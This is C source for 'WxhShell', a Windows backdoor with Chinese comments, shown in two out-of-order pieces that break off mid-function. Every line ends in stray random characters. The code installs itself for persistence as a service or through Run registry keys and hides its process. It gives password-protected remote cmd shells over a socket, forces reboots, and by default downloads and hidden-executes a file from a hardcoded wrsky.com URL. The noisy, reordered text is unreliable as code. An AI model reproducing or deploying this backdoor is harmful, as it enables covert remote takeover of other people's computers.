    if(Boot(SHUTDOWN)) 1n $  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r"lh\C|  
    else { ?bG82@-  
    closesocket(wsh); _<)HFg6  
    ExitThread(0); M !rw!,g  
    } ;FjI!V  
    break; 9lX+?m~ ~  
    } {6wy}<ynC+  
  // 获取shell c{/KkmI  
  case 's': { k%LsjN.S  
    CmdShell(wsh); T%2%*oa  
    closesocket(wsh); uq]E^#^  
    ExitThread(0); y)`q% J&  
    break; 35SL*zS@-  
  } bB.Yq3KI  
  // 退出 [\"<=lb`  
  case 'x': { c=IjR3F  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ">R`S<W  
    CloseIt(wsh); rGSi !q  
    break; xT8!X5;  
    } MPJ0>Ly  
  // 离开 fH_Xm :%  
  case 'q': { |Lz7}g=6  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `)1qq @  
    closesocket(wsh);  bzX/Zts  
    WSACleanup(); n,|YJ,v[  
    exit(1); 8t& 'Yk  
    break; NJ!}(=1|K  
        } j(Tk6S  
  } `AELe_  
  } i&,1  
yTU'voE.|  
  // 提示信息 d/Fy0=0  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s Qa9M  
} lJBZ0  
  } !Y]%U @4}  
@S  Quc  
  return; o%73M!-  
} AKKVd% P(  
X\]Dx./  
// shell模块句柄 V4x6,*)e  
int CmdShell(SOCKET sock) _K|?;j#x0k  
{ yI*h"?7T  
STARTUPINFO si; Sy34doAZ  
ZeroMemory(&si,sizeof(si)); v 1Jg8L=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Bd*\|M  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;Q%3WD  
PROCESS_INFORMATION ProcessInfo; '5SO3/{b  
char cmdline[]="cmd"; )N]%cO(^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0XrOOYmx  
  return 0; %v1*D^))  
} *XqS~G  
%Wb$qpa  
// 自身启动模式 / , .rUn1  
int StartFromService(void) 3x~AaC.j  
{ 15`,kJSK  
typedef struct }zV#?;}  
{ 3})0p  
  DWORD ExitStatus; k.w}}78N2N  
  DWORD PebBaseAddress; m?D k(DJ  
  DWORD AffinityMask; Xw9"wAj  
  DWORD BasePriority; |:d:uj/  
  ULONG UniqueProcessId; mi{ r7.e5I  
  ULONG InheritedFromUniqueProcessId; JWs?az  
}   PROCESS_BASIC_INFORMATION; oJ)v6"j  
rZ7)sE5L  
PROCNTQSIP NtQueryInformationProcess; qt#4i.Iu+  
N`i`[ f  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; uB uwE6  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >CPoeIHK  
v@E/?\k"  
  HANDLE             hProcess; d9uT*5f  
  PROCESS_BASIC_INFORMATION pbi; g4>1> .s  
DYvg^b  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); G,b1u"  
  if(NULL == hInst ) return 0; "J6 aU  
Z8_Q Kw>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); IpMZ{kJlv`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); wa4(tM2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); fTc ,"{  
U?Icyn3q0  
  if (!NtQueryInformationProcess) return 0; N?;5%pG <  
#2*2xt  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Lg4I6 G  
  if(!hProcess) return 0; iVGc\6+'  
P(BV J_n  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; yD9<-B<)  
V2?&3Z) W  
  CloseHandle(hProcess); ZM%z"hO9R  
)z#M_[zC>  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `L=$ ,7`  
if(hProcess==NULL) return 0; ku}I; k |  
}X`jhsqT  
HMODULE hMod; q#~]Hp=W5  
char procName[255]; A{Q:,S)  
unsigned long cbNeeded; ihJC)m`Hbl  
#dgWXO  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <KDl2>O  
Uwqm?]  
  CloseHandle(hProcess); pQ Y.MZSA  
q:1_D>  
if(strstr(procName,"services")) return 1; // 以服务启动 =Gq 'sy:h  
afMIqQ?  
  return 0; // 注册表启动 JDzk v%E^  
} d>Z{TFY  
mTzzF9n"Y  
// 主模块 ~=,|dGAa$  
int StartWxhshell(LPSTR lpCmdLine) NX(.Lw}  
{ '?~k`zK  
  SOCKET wsl; ?DC3BA\)  
BOOL val=TRUE; N|ut^X+|\  
  int port=0; ^Q?I8,4}  
  struct sockaddr_in door; df7z& {R  
THmX=K4=?  
  if(wscfg.ws_autoins) Install(); ZK[S'(6q  
TvWhy`RQ  
port=atoi(lpCmdLine); ;mLbJT   
2Ax HhD.  
if(port<=0) port=wscfg.ws_port; G1"=}Wt`  
;6} *0V_!k  
  WSADATA data; p5~;8Q7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |^ml|cb  
N3nk\)V\E  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   oWpy ^=D_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); wo[W1?|s  
  door.sin_family = AF_INET; q*ZjOqj  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); AX%9k  
  door.sin_port = htons(port); BcT|TX+ct  
5CkM0G`  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )^^r\  
closesocket(wsl); ujcNSX*  
return 1; 0n_Cuh\  
} C<6IiF[>%  
=ot`V; Q>  
  if(listen(wsl,2) == INVALID_SOCKET) { w<awCp  
closesocket(wsl); s&lZxnIjc  
return 1; %t\`20-1<  
} Z$,1Tk"O/s  
  Wxhshell(wsl); /s=TLPm  
  WSACleanup(); z1LATy  
R$*{@U  
return 0; 2&]UFg:8Q  
>;QkV6i7  
} ;G~0 VM2|  
%.b)%=  
// 以NT服务方式启动 D|Z,eench  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >.#uoW4ZV  
{ g B<p  
DWORD   status = 0; jo<[|ZD  
  DWORD   specificError = 0xfffffff; m7e$ Z  
g=[ F W@z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; L"tj DAV  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; S]1+tj  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \GbT^!dj  
  serviceStatus.dwWin32ExitCode     = 0; eF}Q8]da  
  serviceStatus.dwServiceSpecificExitCode = 0; 788q<7E  
  serviceStatus.dwCheckPoint       = 0; (1(3:)@S6  
  serviceStatus.dwWaitHint       = 0; ~@bCSOIy  
7esG$sVj(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "~7| !9<  
  if (hServiceStatusHandle==0) return; 0'|#Hi7@  
=o_d2 Ak  
status = GetLastError(); ; ZL<7tLDb  
  if (status!=NO_ERROR) j>?H^fB  
{ N(}7M~m>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; C3bZ3vcW$  
    serviceStatus.dwCheckPoint       = 0; \p@,+ -gX  
    serviceStatus.dwWaitHint       = 0; 9|Jmj @9  
    serviceStatus.dwWin32ExitCode     = status; 9T|7edl  
    serviceStatus.dwServiceSpecificExitCode = specificError; YIfPE{,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  mbd  
    return; ~@BV  
  } \E?1bc{\f  
I LF"m;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 4VaUa8 D  
  serviceStatus.dwCheckPoint       = 0; .XURI#b  
  serviceStatus.dwWaitHint       = 0; YcRjbF,|6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); dm.?-u;C  
} $NG}YOP)@  
1uMnlimr  
// 处理NT服务事件,比如:启动、停止 cKF02?)TX  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %~^R Iwm  
{ SY<!-g<1F  
switch(fdwControl)  T_jwj N  
{ b |m$ W  
case SERVICE_CONTROL_STOP: &sJpn* W  
  serviceStatus.dwWin32ExitCode = 0; *[W!ng  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Sqc*u&W  
  serviceStatus.dwCheckPoint   = 0; t ~U&a9&Z  
  serviceStatus.dwWaitHint     = 0; 6$)Yqg`X  
  { $L:g7?)k  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N1P [&lR  
  } 7F\U|kx_  
  return; RXl52#:  
case SERVICE_CONTROL_PAUSE: \)y5~te*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Jev@IORN\  
  break; B`RbXk68q  
case SERVICE_CONTROL_CONTINUE: 1ZhJ?PI,9{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; N[aK#o,  
  break; z>~`9Qiw'  
case SERVICE_CONTROL_INTERROGATE: bi KpV? Dp  
  break; <T  
}; vWe)cJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); % OiSuw  
} <po(7XB  
"St,4 b  
// 标准应用程序主函数 HOykmx6$  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *1;<xeVD  
{ &giJO-^ f  
#0G9{./C  
// 获取操作系统版本 vuDp_p*]S  
OsIsNt=GetOsVer(); t4h05i  
GetModuleFileName(NULL,ExeFile,MAX_PATH); fcJ#\-+E  
I \ vu?$w  
  // 从命令行安装 QhpE2ICU  
  if(strpbrk(lpCmdLine,"iI")) Install(); ' 'UiQ   
Am  kHVg  
  // 下载执行文件 CmJ*oXyi  
if(wscfg.ws_downexe) { TrkoLJmB  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) mjBXa  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^U~YG=!ww  
} <ezvz..g  
Q$kSK+ q!  
if(!OsIsNt) { OWOj|jM  
// 如果时win9x,隐藏进程并且设置为注册表启动 zUwz[^d<C  
HideProc(); "=yaeEp  
StartWxhshell(lpCmdLine); 3.R?=npA  
} ^>9M2O['!s  
else iCl,7$[*  
  if(StartFromService()) |!57Z4X  
  // 以服务方式启动 H1hj` '\"<  
  StartServiceCtrlDispatcher(DispatchTable); R['qBHQ?  
else A`X$jpAn&  
  // 普通方式启动 3b#KrN'  
  StartWxhshell(lpCmdLine); 3TtnLay.k  
RMLs(?e  
return 0; $qIMYX  
} mKxQ U0`  
/7P4[~vw  
l)XzU&Sc~  
~Qzm!Po,  
=========================================== lv$tp,+  
AO8`ItNZdT  
=P0~=UP  
7U?x8%H*  
0%'&s)#  
\!G&:<h  
" #\t?`\L3  
BS+N   
#include <stdio.h> )ALf!E%{  
#include <string.h> ,/o<OjR  
#include <windows.h> rC/m}`b  
#include <winsock2.h> x\x>_1oP  
#include <winsvc.h> MK~viSgi  
#include <urlmon.h> &IOChQ`8P  
F S1<f:  
#pragma comment (lib, "Ws2_32.lib") .rN 5A+By`  
#pragma comment (lib, "urlmon.lib") =AZ>2P  
oryoGy=(yk  
#define MAX_USER   100 // 最大客户端连接数 FS`{3d2K +  
#define BUF_SOCK   200 // sock buffer A9$q;8= <  
#define KEY_BUFF   255 // 输入 buffer `){*JPl  
>,32~C  
#define REBOOT     0   // 重启 IY,&/MCh  
#define SHUTDOWN   1   // 关机 H$;K(,'  
-i?!em'J  
#define DEF_PORT   5000 // 监听端口 >RF[0s'-  
e[w)U{|40  
#define REG_LEN     16   // 注册表键长度 .w[]Q;K_[)  
#define SVC_LEN     80   // NT服务名长度 K~v"%sG{`  
}MXZ  
// 从dll定义API EiIbp4*e  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); J%3S3C2*m  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); K^s!0[6  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); duT2:~H2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); MCL5a@BX)  
/`}C~  
// wxhshell配置信息 CKNH/[ ZR,  
struct WSCFG { xr)kHJ:v  
  int ws_port;         // 监听端口 T4o}5sq}S  
  char ws_passstr[REG_LEN]; // 口令 GfL}f9  
  int ws_autoins;       // 安装标记, 1=yes 0=no $>8+t>|  
  char ws_regname[REG_LEN]; // 注册表键名 jD$T  
  char ws_svcname[REG_LEN]; // 服务名 ,MuLu,$/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 F}2U8O  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 aL+k1v[m  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 URX>(Y}g9^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no vr=iG xD  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" IWuR=I$t  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 tezsoR!.ak  
sAC1Pda  
}; ,? <jue/bd  
GkaIqBS  
// default Wxhshell configuration UH.M)br  
struct WSCFG wscfg={DEF_PORT, lNls8@  
    "xuhuanlingzhe", `3/,-  
    1, mS&[<[x  
    "Wxhshell", l J;wl|9  
    "Wxhshell", L7%Dc2{^(  
            "WxhShell Service", I zM=?,`  
    "Wrsky Windows CmdShell Service", 1LT)%_d@  
    "Please Input Your Password: ", M2%<4(UwI  
  1, t 0nGZ%`  
  "http://www.wrsky.com/wxhshell.exe", (#X/sZQh  
  "Wxhshell.exe" X -w#E3  
    }; \SA5@.W  
:7@"EW  
// 消息定义模块 OZQhT)nS]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; HiILJyb  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Xv9kJ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >c5Vz^uM{4  
char *msg_ws_ext="\n\rExit."; `f8{ ^Rau  
char *msg_ws_end="\n\rQuit."; v3Te+oLg  
char *msg_ws_boot="\n\rReboot..."; #O\4XZ,Lv  
char *msg_ws_poff="\n\rShutdown..."; DIkD6n?V  
char *msg_ws_down="\n\rSave to "; 'O \YL(j_e  
v9u/<w68!  
char *msg_ws_err="\n\rErr!"; ~EpMO]I  
char *msg_ws_ok="\n\rOK!"; ^['%wA%  
ov*zQP  
char ExeFile[MAX_PATH]; 2W$c%~j$2  
int nUser = 0; -gv@ .#N  
HANDLE handles[MAX_USER]; !94& Uk(O  
int OsIsNt; D8paIp  
<!-8g!  
SERVICE_STATUS       serviceStatus; e7>)Z  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ()}O|JL:K  
;)u}`4~L  
// 函数声明 UVxE~801Y  
int Install(void); Ajs<a(,6  
int Uninstall(void); -TjYQ  
int DownloadFile(char *sURL, SOCKET wsh); eLL> ThMyW  
int Boot(int flag); KaBze67<|  
void HideProc(void); J &u&G7#S  
int GetOsVer(void); Bl3G_Ep   
int Wxhshell(SOCKET wsl); =_D82`p  
void TalkWithClient(void *cs); ! |}J{  
int CmdShell(SOCKET sock); WK:~2m&y  
int StartFromService(void); 3@XCP-`  
int StartWxhshell(LPSTR lpCmdLine); 9kH~+  
C>:F4"0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }8fxCW*|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); N@58R9P<p  
tA3]6SIK@  
// 数据结构和表定义 0$":W  
SERVICE_TABLE_ENTRY DispatchTable[] = ](x4q  
{ G5kM0vs6L  
{wscfg.ws_svcname, NTServiceMain}, R^f~aLl  
{NULL, NULL} nw Or  
}; |hiYV  
Iwize,J~X  
// 自我安装 9K Ih}Q@P  
int Install(void) pvDr&n9  
{ HJ !)D~M{  
  char svExeFile[MAX_PATH]; zVGjXuNa  
  HKEY key; 42Tjbten_u  
  strcpy(svExeFile,ExeFile); s lDxsb  
/49PF:$?  
// 如果是win9x系统,修改注册表设为自启动 r*0a43mC1  
if(!OsIsNt) { U@ALo  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g4oFUyk{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vD[@cm  
  RegCloseKey(key); * jT r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #CW]70H`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); eW1$;.^  
  RegCloseKey(key); {5#P1jlT  
  return 0; F,11 \j  
    } tURIDj%#p  
  } ( X)$8y  
} mE}``  
else { wI1[I  
{iYu x;(  
// 如果是NT以上系统,安装为系统服务 Y)hLu:P]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Q7N4@w;e  
if (schSCManager!=0) qaA\.h7  
{ ig")bt3s5  
  SC_HANDLE schService = CreateService })M$#%(  
  ( |n}W^}S5  
  schSCManager,  --Dw  
  wscfg.ws_svcname, $P866F  
  wscfg.ws_svcdisp, 7B"J x^  
  SERVICE_ALL_ACCESS, nbMH:UY,J  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 83412@&  
  SERVICE_AUTO_START, )XnG.T{0|  
  SERVICE_ERROR_NORMAL, HsR#dp+s~  
  svExeFile, @1*lmFq'kV  
  NULL, ,b-wo  
  NULL, _ZzN}!Mye  
  NULL, Q= + Frsk  
  NULL, .sbU-_ij@U  
  NULL 9(|[okB  
  ); kZU8s'C  
  if (schService!=0) `]LaX&u  
  { >BrxJw#M  
  CloseServiceHandle(schService); E&{*{u4  
  CloseServiceHandle(schSCManager); `y P-,lA$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "f!*%SR: 1  
  strcat(svExeFile,wscfg.ws_svcname); @E,{p"{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `RthX\Tof  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Jtd@8fVi  
  RegCloseKey(key); ?Ih24>:D  
  return 0; Pl}}!<!<z  
    } mIFS/C  
  } 7v?tSob:b  
  CloseServiceHandle(schSCManager); 6KnD(im  
} Ook3B  
} 9`4h"9dO  
,\+tvrR4X  
return 1; Gxi;h=J2)>  
} JEdtj1v{O  
(PsA[>F  
// 自我卸载 #7lkj:j4  
int Uninstall(void) 3a!/EP  
{ rHT8a^MO  
  HKEY key; M0=ZAsN  
&I'~:nWpt  
if(!OsIsNt) { r;|Bc$P  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~1|sf8  
  RegDeleteValue(key,wscfg.ws_regname); C;dA?Es>R  
  RegCloseKey(key); sx*1D9s_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Jgtv ia  
  RegDeleteValue(key,wscfg.ws_regname); 2mu~hJ  
  RegCloseKey(key); f#eTi&w  
  return 0; ])m",8d&T  
  } Ef%8+_  
} iN`/pW/JE  
} EOtrrfT&  
else { Pk8L- [&v  
2*K0~ b`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0qG[hxt%  
if (schSCManager!=0) ^>%=/RX  
{  KS*W<_I  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5\R8>G~H  
  if (schService!=0) ?aOR ^ K  
  { + {a  
  if(DeleteService(schService)!=0) { 45kMIh~~X  
  CloseServiceHandle(schService); R3?~+ y&  
  CloseServiceHandle(schSCManager); Vq9hAD|k  
  return 0; o&(%:|  
  } ni2H~{]z  
  CloseServiceHandle(schService); 82O`<Ci  
  } ~gI%   
  CloseServiceHandle(schSCManager); w2+RX-6Ie  
} gvoK  
} <RGRvv  
DOhXb  
return 1; !PUhdW  
} )z/j5tnvm  
+S;8=lzuV  
// 从指定url下载文件 s3J T1TX  
int DownloadFile(char *sURL, SOCKET wsh) d57(#)`  
{ m G?a)P  
  HRESULT hr; KOi%zE%  
char seps[]= "/"; {dMa&r|lp  
char *token; hp,T(D|  
char *file; g:[&]o} :9  
char myURL[MAX_PATH]; 6O tv[8^}  
char myFILE[MAX_PATH]; 7DOAG[gH  
/jj@ =H  
strcpy(myURL,sURL); U-WrZ|-  
  token=strtok(myURL,seps); \R79^  
  while(token!=NULL) p-*BB_J"  
  { Xo%Anqk  
    file=token; `&pb`P<`  
  token=strtok(NULL,seps); _F@FcFG1Z*  
  } ,x{5,K.yWq  
h(G&X9*  
GetCurrentDirectory(MAX_PATH,myFILE); \GMudN  
strcat(myFILE, "\\"); /23v]HEPy  
strcat(myFILE, file); >$R-:>~zN  
  send(wsh,myFILE,strlen(myFILE),0); LR9'BUfFv  
send(wsh,"...",3,0); (/@o7&>*50  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +S/8{2%?DG  
  if(hr==S_OK) V 8n}"  
return 0; f_Wn[I{  
else !^8'LMY<I  
return 1; #e8CuS  
 K[?wP>s  
} FfD2 &(-R  
l" sR\`~  
// 系统电源模块 }DZkCzK  
int Boot(int flag) <m@U`RFm  
{ F&c A!~  
  HANDLE hToken; :"QRB#EC%  
  TOKEN_PRIVILEGES tkp; i^QcW!X&  
(qPZEZKx  
  if(OsIsNt) { %+pXzw`B  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <78> 6u/W%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !2{MWj  
    tkp.PrivilegeCount = 1; 58v5Z$%--  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; A@DIq/^xM  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Qz$.t>@V=  
if(flag==REBOOT) { UI8M<  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) uk\GAm@O  
  return 0; b%)a5H(  
} C y& L,  
else { ,9A[o`b  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) PMrvUM62  
  return 0; Nm; ka&'  
} Q2fa]*Z5  
  } MaMs(  
  else { /1OhW>W3eH  
if(flag==REBOOT) { c69C=WQ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~z< ? Wh  
  return 0; SnXYq 7`t  
} F[?t"d  
else { 7 'f>  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) aqyXxJS8  
  return 0; P, >#  
} Wg$MKc9Vy[  
} pkxW19h*0  
#D>8\#53V/  
return 1; |J6CH87>  
} T 7 h C]R  
F`3 8sq  
// win9x进程隐藏模块 }NYsKu_cM  
void HideProc(void) gqC:r,a  
{ Gm6^BYCk  
,$*IJeKx  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); wiFckF/  
  if ( hKernel != NULL )  z!F?#L5  
  { t;4{l`dk  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `Zk?.1*2/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); c^=,@#  
    FreeLibrary(hKernel); !D6@\  
  } HZP`u >.  
0#yo\McZ  
return; Y)a 7osML  
} @|cas|U.r  
r-!8in2  
// 获取操作系统版本 ChBZGuO:  
int GetOsVer(void) XS1>ti|<  
{ /sYD+*a  
  OSVERSIONINFO winfo; a2g15;kM  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +q =/}|  
  GetVersionEx(&winfo); >yL8C: J9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) cy}2~w&s4  
  return 1; N:d" {k  
  else Q}m)Q('Rk  
  return 0; K}wUM^  
} $:<KG&Br  
#=zh&`  
// 客户端句柄模块 U9;AU] A  
int Wxhshell(SOCKET wsl) Uq[NO JC  
{ D vK}UAj=  
  SOCKET wsh; r<~1:/F|  
  struct sockaddr_in client; av5lgv)3  
  DWORD myID; +:^tppg  
Q *lZ;~R  
  while(nUser<MAX_USER) py,z7_Nuh  
{ evn ]n  
  int nSize=sizeof(client); 5X[=Q>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); WO '33Q(  
  if(wsh==INVALID_SOCKET) return 1; ~s88JLw%&u  
p'_* >%4~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); tt`b+NOH>  
if(handles[nUser]==0) m"xw5aa>  
  closesocket(wsh); Z$+0gm\Cnw  
else hB|LW^@v  
  nUser++; g8B@M*JA  
  } lJ}lO,g  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;zp0,[r  
g y&B"`  
  return 0; 7 bpV=  
}  C9*'.~  
VV?KJz=,W=  
// 关闭 socket *,z__S$Q)  
void CloseIt(SOCKET wsh) CRS/qso[Q'  
{ EY&hWl*a^  
closesocket(wsh); -,p(PK  
nUser--; \]o#tYN\a0  
ExitThread(0); yyBy|7QgO  
} :;]6\/ky  
QZzi4[-as  
// 客户端请求句柄 vu1F  
void TalkWithClient(void *cs) U*,5t81  
{ $%sOL( r  
4GaF:/  
  SOCKET wsh=(SOCKET)cs; p+A#t~K  
  char pwd[SVC_LEN]; $7lI Dt  
  char cmd[KEY_BUFF]; Nno*X9>~  
char chr[1]; UB=I>  
int i,j; ]JtK)9  
:uqsRFo&4  
  while (nUser < MAX_USER) { V~ZAs+(2Z  
?mrG^TV^+r  
if(wscfg.ws_passstr) { /Wk\ 6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); LUJKR6oT{>  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  :3u>%  
  //ZeroMemory(pwd,KEY_BUFF); Ga$+x++'*  
      i=0; Xgc@cwd  
  while(i<SVC_LEN) { qifX7AXHr  
-Vw,9VCF  
  // 设置超时 $\{@wL  
  fd_set FdRead; bf::bV?T  
  struct timeval TimeOut; $c[8-=  
  FD_ZERO(&FdRead); K^w(WE;db  
  FD_SET(wsh,&FdRead); YW0UIO  
  TimeOut.tv_sec=8; :X/j%m*  
  TimeOut.tv_usec=0; 1_*o(HR  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); kcI3pmgj  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Oe*emUX7  
EubF`w$KWX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .J'}qkz~  
  pwd=chr[0]; X >C*(/a  
  if(chr[0]==0xd || chr[0]==0xa) { fY$M**/,  
  pwd=0; jj.iW@m  
  break; Bo_Ivhe[m  
  } 9>\s81^  
  i++; b=`h""u  
    } xR\$2(  
27G6C`}  
  // 如果是非法用户,关闭 socket 0Ocy$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); t%V!SvT8+  
} U c$RYPq  
K`768 %q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); GnkNoaU  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "\)j=MI8u+  
&8z`]mB{t  
while(1) { n<uF9N<   
4tof[n3us  
  ZeroMemory(cmd,KEY_BUFF); z45ImItH  
|Fm(  
      // 自动支持客户端 telnet标准   uI!rJc>TX  
  j=0; PW~+=,  
  while(j<KEY_BUFF) { V8 }yK$4b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @|idlIey  
  cmd[j]=chr[0]; "i(k8+i K  
  if(chr[0]==0xa || chr[0]==0xd) { Bc`jkO.q  
  cmd[j]=0; z*"zXL C  
  break; nYLq%7}k  
  } u4, p.mZtb  
  j++; kW3V"twx  
    } #\_N-bVu  
1c8 J yp  
  // 下载文件 V^As@P8,'(  
  if(strstr(cmd,"http://")) { 5O%Q*\(  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ND WpV  
  if(DownloadFile(cmd,wsh)) v&;q4b4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,dLh`t<\  
  else bM; ==W  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n&jfJgD&g  
  } 2I* 7?`  
  else { Q &<:W4N*  
z}&?^YU*)`  
    switch(cmd[0]) { q~48lxDU  
  q]ER_]%Gna  
  // 帮助 2Xys;Dwx  
